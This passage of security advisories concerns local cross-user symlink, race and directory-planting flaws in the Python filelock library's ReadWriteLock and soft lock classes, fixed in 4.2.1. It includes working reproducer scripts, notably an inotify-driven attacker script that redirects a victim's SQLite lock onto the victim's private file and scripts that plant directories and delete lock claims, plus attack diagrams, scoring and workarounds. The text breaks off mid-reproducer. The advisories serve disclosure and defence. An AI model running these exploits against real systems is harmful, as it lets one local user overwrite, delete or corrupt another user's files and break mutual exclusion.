lockdb, target = sys.argv[1], sys.argv[2] sparename = lockdb + ".keep"
the attacker creates the lock database, world-writable so that the victim's ReadWriteLock accepts it os.close(os.open(lockdb, os.OCREAT | os.OWRONLY)) os.chmod(lockdb, 0o666) os.link(lockdb, sparename)
what /proc/<pid>/fd/<n> reads back as once the name the descriptor was opened through is unlinked os.symlink(target, lockdb + " (deleted)")
INOPEN = 0x20 libc = ctypes.CDLL(None, useerrno=True) inotify = libc.inotifyinit1(0) if libc.inotifyaddwatch(inotify, lockdb.encode(), INOPEN) < 0: raise OSError(ctypes.geterrno(), "inotifyaddwatch", lockdb) print("ready", flush=True)
while True: os.read(inotify, 4096) # the victim's ReadWriteLock has opened the database and is validating its descriptor os.unlink(lockdb) os.link(sparename, lockdb) # the same inode back at the path, so filelock's later lstat sees no change
repro.d/victimapp.py
python #!/usr/bin/env python3 """The victim: an application that takes its shared read lock once, as in docs/how-to.rst."""
import sys
from filelock import ReadWriteLock
rw = ReadWriteLock(sys.argv[1]) with rw.readlock(timeout=5): pass
Attack sequence
The redirect, with A the other local user:
mermaid sequenceDiagram participant A as other local user participant V as lock user's process (filelock) participant S as SQLite inside that process participant K as kernel and filesystem rect rgb(255, 214, 214) Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit A->>K: create cache.lock.db (0666) and a second hard link cache.lock.db.keep A->>K: symlink "cache.lock.db (deleted)" pointing at /tmp/victim-notes.txt A->>K: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record) V->>K: open(cache.lock.db, ORDWR OCREAT ONOFOLLOW) gives fd 3, fstat says regular, header not WAL K-->>A: inotify INOPEN on cache.lock.db A->>K: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db) V->>S: sqlite3.connect("/proc/self/fd/3") S->>K: readlink(/proc/self/fd/3) returns "cache.lock.db (deleted)" S->>K: open("cache.lock.db (deleted)") follows the symlink to victim-notes.txt V->>S: PRAGMA journalmode=MEMORY S->>K: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user's 4096-byte page image, the lock user sees "disk I/O error" V->>K: lstat(cache.lock.db) matches fd 3 identity, so raiseifdatabasereplaced passes end
The side-file variants, which need no redirect:
mermaid flowchart TD B0["acquire validates fd, connects SQLite by a name in the shared directory"] --> B1{"what did the other user put beside the real path?"} B1 -- "hot -journal beside a swapped-in one-page database" --> B2["PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds"] B1 -- "-wal re-created between PRAGMA and BEGIN" --> B3["holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated"] B1 -- "-wal in a sticky directory the lock user cannot unlink" --> B4["every acquire raises OperationalError disk I/O error, timeout ignored"] B1 -- "name unlinked and a (deleted) symlink planted" --> B5["SQLite opens the symlink target with OCREAT"] classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332; classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000; classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a; class B0,B1 info; class B2,B3,B4,B5 bad;
Evidence
The scanner's reproducer runs the documented ReadWriteLock(path) + with rw.readlock(timeout=5): as user victim against /tmp/shared-cache/cache.lock.db (directory 0777, not sticky) while user attacker holds the symlink and reacts to inotify. It first shows that attacker cannot write the target (PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'). On the first victim run it prints victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error, target owner, mode, size: 1000 0o600 4096, target before b'original victim notes\n', after b"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n\x00...", verdict BUG. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two ReadWriteLock instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The -wal re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.
Our verification: the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head it prints OK: all 20 victim runs exit 0 with no error and the target stays 1000 0o600 22 bytes with its original content. The independent review also ran the sticky-directory -wal variant (a 0600 database owned by victim in a 1777 directory, other user plants <db>-wal). 4.2.0 raises OperationalError: disk I/O error; the PR head takes read and write locks with the file still present.
Impact
Another local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create <file>-journal beside it (the lock user's own 0600 files in /tmp qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process inside writelock() stops excluding the lock user's other processes from readlock(), and the holder can die from a SIGBUS that arrives in release().
It is not reachable for a database the lock user owns in /tmp with fs.protectedregular 1 or 2. There only the planted -wal denial of service remains: every acquire raises an undocumented sqlite3.OperationalError that Timeout and OSError handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at <database> (deleted). Windows does not take this path.
Workarounds
- Keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one ReadWriteLock database between accounts through a 0777 or group-writable directory. The lock creates its database 0600, and leaving it that way keeps other accounts from supplying its content. - For a lock in a sticky directory keep fs.protectedregular at 1 or 2 and fs.protectedhardlinks=1 (distribution defaults). Treat a sudden sqlite3.OperationalError: disk I/O error on every acquire as a foreign <db>-wal beside the database that the file's owner or root has to remove.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/834
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 00:46 UTC: draft advisory created - 2026-10-16 01:15 UTC: fix PR #834 opened
Summary
ReadWriteLock and AsyncReadWriteLock resolve the lock path with pathlib.Path.resolve() and pass it to sqlite3.connect() without refusing a symlink. A local user who can create names in the lock's directory, such as /tmp or a shared cache, can plant a symlink at the lock path and make the victim's process create, lock, or write the file it points to, or break mutual exclusion between the victim's own processes.
Details
ReadWriteLock.init stores pathlib.Path(lockfile).resolve(), which follows a final symlink, and every connection opens that path through sqlite3.connect() with no ONOFOLLOW or regular-file check. SQLite's own VFS also resolves the final symlink in user space, so fs.protectedsymlinks and the sticky bit do not help: the kernel never sees a symlink to refuse. The other lock classes do not follow a final symlink: FileLock opens with ONOFOLLOW, and SoftReadWriteLock coordinates through <path>.rw/.
Proof of concept
On Linux, with the victim and attacker as different users and /shared mode 1777 with fs.protectedsymlinks=1:
1. The attacker runs ln -s /home/victim/private/pwned.flag /shared/app.rwlock.db. 2. The victim constructs ReadWriteLock("/shared/app.rwlock.db"). A plain os.open(..., ONOFOLLOW) on the same path fails, but the lock creates /home/victim/private/pwned.flag, owned by the victim, inside a directory the attacker cannot write. 3. With /shared/cache.rwlock.db -> /shared/a.db, one victim process holds the write lock. The attacker repoints the link to /shared/b.db, and a second victim process acquires the write lock while the first still holds it.
The same behavior reproduces on macOS, on Windows 11, and through AsyncReadWriteLock.
Impact
A local attacker with write access to the lock directory can make the victim create empty files it owns at paths the attacker cannot write, make the victim hold a SQLite lock on another application's database so that application gets database is locked, and give two victim processes the write lock at once, letting them corrupt the resource the lock protects.
Workarounds
Keep ReadWriteLock paths in directories that only trusted users can write.
StrictSoftFileLock, AsyncStrictSoftFileLock, SoftReadWriteLock and AsyncSoftReadWriteLock keep their whole ownership state as files in a directory derived from the lock path (<path>.filelock/claims, <path>.rw/{gen,holders}). When that directory already exists they adopt it after checking only that it is a real directory, not who owns it. Another local user who can create names in the lock's directory can create the tree before the first acquire on that path by the user running the lock (below: the lock user). In /tmp, /var/tmp or another sticky shared directory any user can do that; the sticky bit is a directory flag that lets only a file's owner remove or rename it. The other user then owns the tree. They can unlink the lock user's claims while the lock user holds the lock, so a second process of the lock user, root included, enters the same critical section and neither process sees an error.
Against SoftReadWriteLock the same position also admits two writers with oncompromise silent. It redirects the lock user's own creates and renames into a directory the other user picks (the scanner replaced a repository's .git/HEAD with a filelock record written with the lock user's privileges). It also keeps the lock user's acquire or release running past any timeout. Affected versions are filelock 3.30.0 through 4.2.0 (finding ANT-2026-Q5VK5JEE).
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H scores 6.3 (Medium). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:H (high attack complexity): the other user must create the protocol directory before the lock user's first acquire on that path. That depends on the path being new, or on a reboot, a tmp cleaner or the documented <path>.rw recovery having removed its tree; once planted, the rest needs no race. I:H (high integrity impact): two holders write whatever the lock protects, and for SoftReadWriteLock the lock user's process creates, replaces or deletes files named HEAD, epoch and 0000000000000000000N in any directory the lock user can write. A:H (high availability impact): the owner of <path>.rw can make the lock user's readlock(timeout=1) spin at full CPU without end, cost 22 s per acquire, or pin 1 MiB of memory per planted file until a heartbeat thread dies of MemoryError. C:N (no confidentiality impact). S:U (scope unchanged).
Classification from the review: security, conditional on the other user winning initial ownership of the protocol directory. The scanner rated it high (CWE-283). With AC:L the same impacts would score 7.1.
Scope and preconditions
- The other user can create names in the directory that holds the lock. In a sticky 1777 directory such as /tmp any local user can. The sticky bit stops that user from renaming or removing a directory the lock user created, but does nothing for one the other user created first. - The other user gets there first: <path>.filelock (strict) or <path>.rw (soft read-write) must not exist when the lock user's process first acquires. strict.py does not remove the directory at any point, so a path the lock user has already used stays safe for as long as the tree exists. The exposure is a new lock path, or one whose tree a reboot, a tmp cleaner, a cache purge or the recovery described in docs/how-to.rst removed. - For the strict lock the planted directory must be writable by the lock user (0777); a planted 0755 directory makes the lock user's acquire fail with PermissionError instead. Planting only the outer <path>.filelock is enough. The lock user creates claims inside it, and the other user, as owner of the parent, renames that claims aside and creates an empty one. - The Linux fs.protectedregular, fs.protectedsymlinks, fs.protectedhardlinks and fs.protectedfifos sysctls (kernel settings, all enabled in the scanner's image) do not interfere. They cover regular files, symlinks, hard links and FIFOs, not directories. The SoftReadWriteLock symlink redirect below also passes fs.protectedsymlinks=1, because the symlink (a file that points at another path) sits in the other user's own non-sticky directory. - The affected classes are StrictSoftFileLock and AsyncStrictSoftFileLock (which inherits acquire), and SoftReadWriteLock and AsyncSoftReadWriteLock with default options. FileLock gives way to the same position (when the other user creates the lock file first with mode 0666 and unlinks it during a hold, a second lock user process acquires), so the strict lock is not weaker than the native one here. This advisory reports it because StrictSoftFileLock is the lock documented as fail-closed and already raises SoftFileLockProtocolError for a symlink or a regular file at the same names, while it uses a directory that belongs to someone else without any signal. The SoftReadWriteLock half has no such counterpart: its redirected creates, renames and unlinks land outside the lock's own files. - A non-sticky directory writable by other users is outside the boundary below. There anyone who can create the directory can also rename the lock user's own tree aside, and no check inside the lock can tell that from a first use.
These protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.
Affected code
At the scanned commit b831496: ensureprotocoldirectory returns for any existing real directory, whatever its owner or mode. StrictSoftFileLock.acquire calls it for both levels and does not look at directory ownership again. attemptdoorway decides from the claim scan alone, and unlinkownerpathresult counts a missing claim as removed on release. The sibling site is OsFiles.prepare. Its mkdir(mode=0o700) takes effect only when it creates the directory, and its lstat check reads neither stuid nor the permission bits. It runs once per instance, and every later OsFiles method takes a full path, with ONOFOLLOW guarding only the last component.
Introduced
The strict site came with the claims protocol in 650c17c79c54 ("feat(strict): replace shared markers with owner claims", #659, 2026-07-14), first released in 3.30.0. The SoftReadWriteLock site came with the <path>.rw tree itself in f9743288a288 ("fix(soft-rw): replace the state mutex with a generation log", #738, 2026-09-17), first released in 4.0.0. Both match the git tags; the advisory range starts at the earlier one.
Mechanism
The owner of a directory can unlink and rename every entry in it, whatever the entries' own owner and mode. A strict hold consists of two names, intent-v1-<token>.claim and held-v1-<token>.claim, in <path>.filelock/claims. The sentinel (the lock file at <path>) is permanent and says nothing about who holds. When the other user runs the equivalent of mkdir -m 777 -p work.lock.filelock/claims before the lock user first uses work.lock, every lock user acquire publishes its claims into a directory the other user can empty. Lock user process A acquires and holds. The other user unlinks both of A's claims; both unlink calls succeed, because write permission on the directory is enough.
Lock user process B calls acquire() while A is inside its critical section. attemptdoorway starts with if readexistingclaims(...): return False, which turns a contender away while a holder exists, but the scan is now empty. B publishes its own intent and held claims, sees only those in the later rescans, and wins.
A is not told. A strict holder does not look at its claims between acquire and release, and on release unlinkownerpathresult takes the FileNotFoundError for each missing claim as "already removed", so release finishes without error. The break involves neither a lifetime nor a lease, and neither breaklock() nor forcebreak(). The benign path shows what the check is missing. When the lock user's first acquire creates the directories itself they are 0755 and owned by the lock user (umask 022). The other user's unlink then fails with EACCES, its rename or rmdir of work.lock.filelock fails with EPERM under the sticky bit, and B raises Timeout.
OsFiles.prepare has the same gap for SoftReadWriteLock. The code suppresses EEXIST from mkdir(mode=0o700), and the check that follows looks only at SISDIR and SISLNK. The class docstring's protection against "same-host different-UID users via 0o600 / 0o700 permissions" therefore holds only for whoever gets there first. With the other user owning /tmp/app.lock.rw, gen and holders before the lock user first uses SoftReadWriteLock("/tmp/app.lock"), the scanner observed the following, with the same two accounts.
Creates and renames redirected through a symlink. The other user's tree holds a generation log (the record of who holds the lock, under gen/) naming a live writer, so the lock user polls. Once the lock user's record appears in holders/ (its prepare() is over), the other user renames gen aside and puts a symlink to /home/victim/project/.git, a repository inside a 0700 directory, in its place. The lock user's writelock() returns without error. By then GenerationLog.commit() has created epoch, 00000000000000000001 and 00000000000000000002 in .git and renamed a record over .git/HEAD, which now reads <epoch>\nfilelock-rw/1\ngeneration=2\n, owned by the lock user; git status answers fatal: not a git repository. With holders swapped instead, Participant.sweep() unlinks files with 32-hex-digit names in the target directory once they have stayed unchanged for stalethreshold. This needs no race: every later acquisition on an instance that has passed prepare() goes through the swapped gen.
Two writers, no oncompromise. OsFiles.read() accepts any regular file, so the owner of gen writes snapshots itself. While lock user process V1 is inside writelock(), the other user creates the next gen/<N> naming no holder, and V2's writelock(timeout=2) succeeds at once. A further forged generation naming both tokens keeps both heartbeats answering ok, because Participant.heartbeat() tests only self.token in latest.members; compromise was still None in both after the default 30 s heartbeat. The other user reads no lock user record at any point: listing gen/ and holders/ gives the generation and the tokens.
Hangs, memory growth and bare OSErrors. The protocol code treats every record in gen/ and holders/ as written by a cooperating peer, so the tree's owner can do several things. They can make Participant.leave() retry a refused commit without end (readlock(timeout=1) spins at full CPU instead of raising Timeout). They can keep GenerationLog.probe() walking by appending records ahead of it (3 s of writes kept readlock(timeout=1) busy for about 60 s). They can make every acquirewrite(timeout=1) and release() on a free lock take about 22 s with 200 000 generation names hard-linked into a sticky gen/ (a hard link is a second name for the same file), which list() and compactthrough() walk again on each poll because OsFiles.unlink() swallows the EPERM.
They can also pin 1 MiB of the lock user's memory per sparse file planted in holders/, because Ledger.observe() keeps every swept record whole (2 000 hard links to one 1 MiB file: 2 028 MiB resident when acquirewrite() returns). Under an address-space limit the sweep raises MemoryError inside the heartbeat thread, which nothing handles, so the record is not refreshed again. After stalethreshold a second lock user process gets the write lock while the first still has compromise None. And they can make every acquire of a free lock raise a bare OSError with a mode-000 orphan in holders/ or a symlink at gen/HEAD. None of these is reachable in a tree the lock user created itself: it is 0700 at all three levels and the other user's writes fail with EACCES.
Reproduction
The scanner's reproducer for ANT-2026-Q5VK5JEE, quoted as received. It ran against commit b831496b0273.
repro
python #!/usr/bin/env python3 import os import pwd import subprocess import sys import tempfile
the companions are passed with -c, so victim and attacker need no read access to /tmp/repro.d victimworker = open("/tmp/repro.d/victimworker.py").read() attackerplantdirectory = open("/tmp/repro.d/attackerplantdirectory.py").read() attackerremoveclaims = open("/tmp/repro.d/attackerremoveclaims.py").read() asvictim = ["runuser", "-u", "victim", "--", sys.executable, "-c", victimworker] asattacker = ["runuser", "-u", "attacker", "--", sys.executable, "-c"]
def twovictimscontendwhileattackerremovesclaims(lockpath): claims = f"{lockpath}.filelock/claims" first = subprocess.Popen([asvictim, lockpath], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True) firstlines = [first.stdout.readline().strip()] claimsowner = pwd.getpwuid(os.stat(claims).stuid).pwname
removal = subprocess.run([asattacker, attackerremoveclaims, lockpath], check=True, captureoutput=True, text=True)
# the first process has not been sent its line yet: it is still inside its critical section second = subprocess.Popen([asvictim, lockpath], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True) secondlines = [second.stdout.readline().strip()]
secondlines += second.communicate("\n")[0].split() firstlines += first.communicate("\n")[0].split() print(f" {claims} is owned by {claimsowner}") print(f" attacker, while the first victim process holds the lock: {'; '.join(removal.stdout.splitlines())}") print(f" first victim process: {firstlines}") print(f" second victim process, started while the first is inside: {secondlines}") return firstlines, secondlines
set up: a root-owned, sticky, world-writable directory, like /tmp itself shared = tempfile.mkdtemp(prefix="shared-", dir="/tmp") os.chmod(shared, 0o1777)
control: the victim's first acquire creates control.lock.filelock/claims itself print("CONTROL victim creates the protocol directories") , controlsecond = twovictimscontendwhileattackerremovesclaims(f"{shared}/control.lock")
attack: the attacker creates work.lock.filelock/claims before the victim first uses work.lock print("OBSERVED attacker creates the protocol directories first") subprocess.run([asattacker, attackerplantdirectory, f"{shared}/work.lock"], check=True) first, second = twovictimscontendwhileattackerremovesclaims(f"{shared}/work.lock")
check: the second process must be kept out while the first is inside, as it is in the control round insideandreleasedcleanly = ["acquired", "islocked=True", "released"] controlexcludes = controlsecond == ["Timeout"] bothinside = first == second == insideandreleasedcleanly print(f"controlexcludes={controlexcludes} bothinside={bothinside}") print("BUG" if controlexcludes and bothinside else "OK")
repro.d/attackerplantdirectory.py
python import os import sys
os.umask(0) # 0777: the victim must be able to publish its claims inside os.makedirs(f"{sys.argv[1]}.filelock/claims")
repro.d/attackerremoveclaims.py
python import os import sys
claims = f"{sys.argv[1]}.filelock/claims" for name in sorted(os.listdir(claims)): try: os.unlink(f"{claims}/{name}") print(f"removed {name}") except PermissionError as error: print(f"cannot remove {name}: {error.strerror}")
repro.d/victimworker.py
python import sys
from filelock import SoftFileLockProtocolError, StrictSoftFileLock, Timeout
lock = StrictSoftFileLock(sys.argv[1], timeout=1) try: lock.acquire() except (Timeout, SoftFileLockProtocolError) as error: print(type(error).name, flush=True) sys.exit() print("acquired", flush=True)
sys.stdin.readline() # the critical section: it lasts until the parent sends a line
print(f"islocked={lock.islocked}", flush=True) lock.release() print("released", flush=True)
Attack sequence
mermaid sequenceDiagram participant X as other account (uid attacker) participant D as work.lock.filelock/claims (sticky /tmp) participant A as holder A (uid victim) participant B as contender B (uid victim) rect rgb(255, 214, 214) X->>D: mkdir -m 777 -p, before the lock user's first use A->>D: acquire(): directory exists, is a directory, adopted A->>D: publish intent-v1-<token>.claim and held-v1-<token>.claim X->>D: unlink both claims (owner of the directory may) B->>D: acquire(): scan finds no claims, publishes its own, wins Note over A,B: both inside, islocked True in both A->>D: release(): claims missing, counted as removed, no error end Note over A,D: control: directory created by the lock user is 0755, the other account's unlink gets EACCES, B raises Timeout
Evidence
The scanner's reproducer (victim uid 1000, attacker uid 1001, lock work.lock in a root-owned 1777 directory under /tmp, StrictSoftFileLock(path, timeout=1), Linux 6.1, CPython 3.14.8, overlayfs) runs the same contention twice. In the control round on control.lock, whose directories victim creates, it prints claims is owned by victim, the unlinks by attacker answer Permission denied, the first process prints ['acquired', 'islocked=True', 'released'] and the second ['Timeout']. In the observed round on work.lock, planted by attacker, it prints claims is owned by attacker and removed held-v1-….claim; removed intent-v1-….claim, and both processes print ['acquired', 'islocked=True', 'released'], the second having acquired before the first was let out. The verdict line reads controlexcludes=True bothinside=True and then BUG after about 2 s. The scanner ran the variant that plants only the outer <path>.filelock (then renames the claims of victim aside) by hand with the same result, and each SoftReadWriteLock effect listed under Mechanism in its own run with the same two accounts.
Our review ran the reproducer against the 4.2.0 release image and the scanned commit (BUG on both) and against the head of #839 (OK). The review's regression tests for both sites need a sticky /tmp of another UID and ran there.
Impact
Another local user who can create names in the lock's directory puts two processes of the lock user, root included, into the same StrictSoftFileLock critical section at a moment of the other user's choosing, with no exception or other signal to either. Two processes then modify whatever the lock protects at the same time.
Against SoftReadWriteLock the same position decides when two writers, or a writer and readers, are inside together and keeps compromise silent in all of them. It also gets file operations made with the lock user's privileges (root's, for a root service) in any directory the lock user can write: a file named HEAD replaced, files named epoch and 0000000000000000000N created, files with 32-hex-digit names deleted. The bytes written are filelock's own records, not content the other user chooses. It can keep the lock user's acquire or release running past any timeout, or grow the lock user's memory by 1 MiB per planted file. It is not a disclosure of the lock user's data, and it does not reach a path the lock user has already used while that tree still exists.
Workarounds
Keep strict and soft read-write locks in a directory other users cannot write, rather than /tmp or another sticky shared directory. Where a shared directory is unavoidable, create <path>.filelock/claims (or <path>.rw with gen and holders) as the service user before any other account can, for example at install or boot, and check stat -c %U of an existing tree before the first use. A tmp cleaner, a reboot or the <path>.rw recovery removes the tree and reopens the window. The kernel refuses a planted 0755 strict tree (the lock user's acquire fails with PermissionError), so an acquire that raises that error on a new path without a known cause is worth investigating.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/839
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (finding ANT-2026-Q5VK5JEE, scanned commit b831496b0273) - 2026-10-16 00:46 UTC: draft advisory; later narrowed to this finding, with ANT-2026-AD6SUOON, ANT-2026-SVFEYX89, ANT-2026-M9OPCLPB and ANT-2026-6BC3LKF9 moved to advisories of their own - 2026-10-16 01:31 UTC: fix PR #839 opened
filelock is a platform-independent file lock for Python. From 3.22.0 until 4.2.1, SoftFileLock can break a stale marker after an attacker frees its own marker following the stale read, an honest contender creates a live successor on the reused inode, and the successor's modification time is not newer than the saved observation, causing the live marker to be removed and two holders to be admitted. This issue is fixed in version 4.2.1.
SoftReadWriteLock (and AsyncSoftReadWriteLock, which wraps one) checks once per lock object, by name, that <path>.rw, <path>.rw/gen and <path>.rw/holders are real directories and not symbolic links (files that redirect to another path). It then keeps only a boolean. Every later record operation resolves the full path again, and ONOFOLLOW (a flag that makes an open fail when the final name is a symbolic link) protects the last component only. Another local user (the other user below) who can write the directory holding the lock, or who created <path>.rw first in a sticky directory such as /tmp (the sticky bit is a directory flag that lets only a file's owner rename or remove it), can put a tree under that name whose gen or holders is a symbolic link into a directory of the user running the lock (the lock user below).
A long-running process of the lock user that has already passed the check then creates, renames over and deletes files there with the lock user's privileges, including in 0700 directories the other user cannot open. The names and bytes are filelock's own lock records, not chosen by the other user. The scanner's reproducer replaces .git/HEAD in the lock user's private repository so that git status fails. There is no race. Affected versions: filelock >= 4.1.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as ANT-2026-WXXRI4M4 [high, CWE-367], titled "SoftReadWriteLock follows gen dir swapped for a symlink after first acquire".
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, 3.3 (Low).
AV:L (local): the other user needs an account on the same host. AC:L (low attack complexity): the swap happens between two acquisitions, with no race to win. PR:L (low privileges): a local user with ordinary privileges is enough. UI:N (no user interaction): the lock user's process acts on its own. C:N (no confidentiality impact): the other user learns nothing. I:L (low integrity impact): the lock user's process replaces a file named HEAD, creates epoch and generation records, and deletes files whose names match the protocol's patterns, in any directory the lock user can write, with the lock user's privileges. The other user does not choose the bytes, but the files are gone and the chosen directory (a git repository) stops working. A:N (no availability impact): the lock itself keeps working and the lock user's process does not stall. The scanner rated it high; we scored the vector for a lock user with ordinary privileges.
Classification from the external review: conditional security. It is a cross-user replacement of a cached .rw tree that redirects later writes of the lock user through an intermediate symbolic link. It needs a planted tree in sticky /tmp or a writable parent without the sticky bit. Scoring note: we rate integrity low rather than high. The bytes written through the swapped tree are filelock's own records, not content the other user chose, so the lower reading of the CVSS integrity metric applies.
Scope and preconditions
- Trust boundary: the other party is a different local account with write access to the lock's parent directory. Without the sticky bit (a 0777 scratch or spool directory, or a group-writable project or cache directory shared with that account's group) write access alone is enough. The other user renames the lock user's own 0700 <path>.rw aside and puts its tree in place. In a sticky parent such as /tmp the extra precondition is that it created <path>.rw (with real gen and holders directories, mode 0777) before the lock user's first acquire. prepare() accepts an existing tree whoever owns it, and the other user later replaces its own gen with a symbolic link. fs.protectedsymlinks=1 (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not intervene, because the link sits inside the other user's own non-sticky <path>.rw, not in the sticky parent (the scanner ran with that setting). - Lock user: any process that keeps one SoftReadWriteLock or AsyncSoftReadWriteLock object (a singleton per path by default) and acquires it more than once, or is waiting for it when the swap happens. A fresh process that meets the planted tree gets RuntimeError. Between two acquisitions there is no timing to win. - Targets: any directory the lock user can write, on any filesystem. The other user needs only to know its path (/home/victim/project/.git in the reproducer, under a 0700 home directory the other user cannot open). - Platform: observed on Linux. The code path is the same on every POSIX platform and on Windows, where a junction (a Windows directory that points at another directory) at a directory component plays the symbolic link's part. The scanner ran Linux only. - Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
Affected code
At the scanned commit b831496b0273, OsFiles.prepare checks the three directories with lstat and caches prepared. lstat reports what a name is without following a symbolic link. Every later operation takes a full path string, for example create (ONOFOLLOW on the last component only), replace (Path(source).replace(target)), unlink and listdir. The callers that write through the swapped tree are Participant.publish / createholder, GenerationLog.incarnation (creates epoch), commit (links a generation record and renames over HEAD), keepclaimfresh, sweep and list (unlink). There is one OsFiles per lock object (sync.py line 204), handed to every Participant at line 501.
Introduced
The once-per-object shortcut (prepared) came with 367b111 ("fix(soft-rw): publish the head through gen/HEAD (#799)", 2026-10-08), first released in 4.1.0 (verified with git tag --contains 367b111, which answers 4.1.0). That commit opens the route between two acquisitions with no timing to win. The check-then-use gap itself is older. At its parent 61582c5 (also first in 4.1.0) a contender already waiting during the swap still creates epoch in the target before the lock refuses it, while 4.0.0 leaves the target untouched in the same test. The group advisory carried >= 4.0.0 as the union with a sibling finding; for this finding alone the range is >= 4.1.0, <= 4.2.0.
Mechanism
prepare() runs mkdir(mode=0o700) and then lstat() on each of <path>.rw, gen and holders. It raises RuntimeError("... exists but is not a directory or is a symlink; refusing to use it") for a symbolic link or non-directory. It does this by name, once per OsFiles (if self.prepared and not force: return), and only a FileNotFoundError while creating the holder record (the file that says this process holds or wants the lock) leads to prepare(force=True). All other OsFiles methods (read, create, link, replace, overwrite, unlink, listdir) take a full path string such as /srv/shared/app.lock.rw/gen/HEAD. ONOFOLLOW applies to HEAD, and the kernel follows app.lock.rw and gen to whatever they name at that moment. The gap between the check and a use is therefore as long as the process keeps the lock object.
The scanner observed this at the scanned commit on Linux 6.1, CPython 3.14.8, overlayfs, with a default-options SoftReadWriteLock, as two accounts in /srv/shared (root-owned, mode 0777, no sticky bit):
1. victim runs a worker that builds SoftReadWriteLock("/srv/shared/app.lock") once and takes writelock() for each job. After the first job, app.lock.rw exists, owned by victim, mode 0700. 2. attacker renames app.lock.rw to app.lock.rw.aside, creates a new app.lock.rw with a world-writable holders/ in it, and makes app.lock.rw/gen a symbolic link to /home/victim/project/.git. /home/victim/project is mode 0700; the attacker account cannot open anything below it. 3. The worker takes the lock for its second job. writelock() returns without error. /home/victim/project/.git now holds new files epoch, 00000000000000000001 and 00000000000000000002, and <epoch>\nfilelock-rw/1\ngeneration=2\n has replaced the content of .git/HEAD. git status there answers fatal: not a git repository.
The second acquisition, step by step: Participant.publish() calls prepare(), which returns at once, then creates holders/<token>. The planted tree has a writable holders, so this succeeds. advance() calls GenerationLog.latest() (the generation log is the lock's ordered record of write generations under gen/). incarnation() reads gen/epoch, finds none behind the link, and creates .git/epoch. The epoch differs from the remembered one, so the code drops the remembered log. git's HEAD does not start with the new epoch, so headrecord() ignores it and the log reads as empty. commit() creates .git/.commit-<token>, hard-links it (a hard link is a second name for the same file) to .git/00000000000000000001, removes the temporary name, and publishes HEAD through OsFiles.replace, which is rename(".git/.commit-<token>", ".git/HEAD"). The release commits generation 2 the same way and renames over HEAD again.
Other ways into the same gap exist. The scanner ran each at this commit with a directory only the lock user can access as the link target. A contender already waiting when the swap happens recreates its missing holder record in the planted holders/ on its next poll (keepclaimfresh()), and the commit that follows replaces HEAD in the target. A process that only holds and releases, with the tree swapped during the hold, creates epoch in the target on release. With holders as the link, Participant.sweep() (run on acquire polls and from a holder's heartbeat()) unlinks files in the target whose names are 32 lowercase hex digits once the lock object has seen them unchanged for stalethreshold (observed with stalethreshold=2; the default is 90 s). With gen as the link, GenerationLog.list() unlinks every 20-digit name except the 64 highest: of 70 such files, it removes the 6 lowest before the acquire fails with SoftFileLockProtocolError.
Reproduction
The scanner's reproducer for finding ANT-2026-WXXRI4M4, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.
repro
python #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path
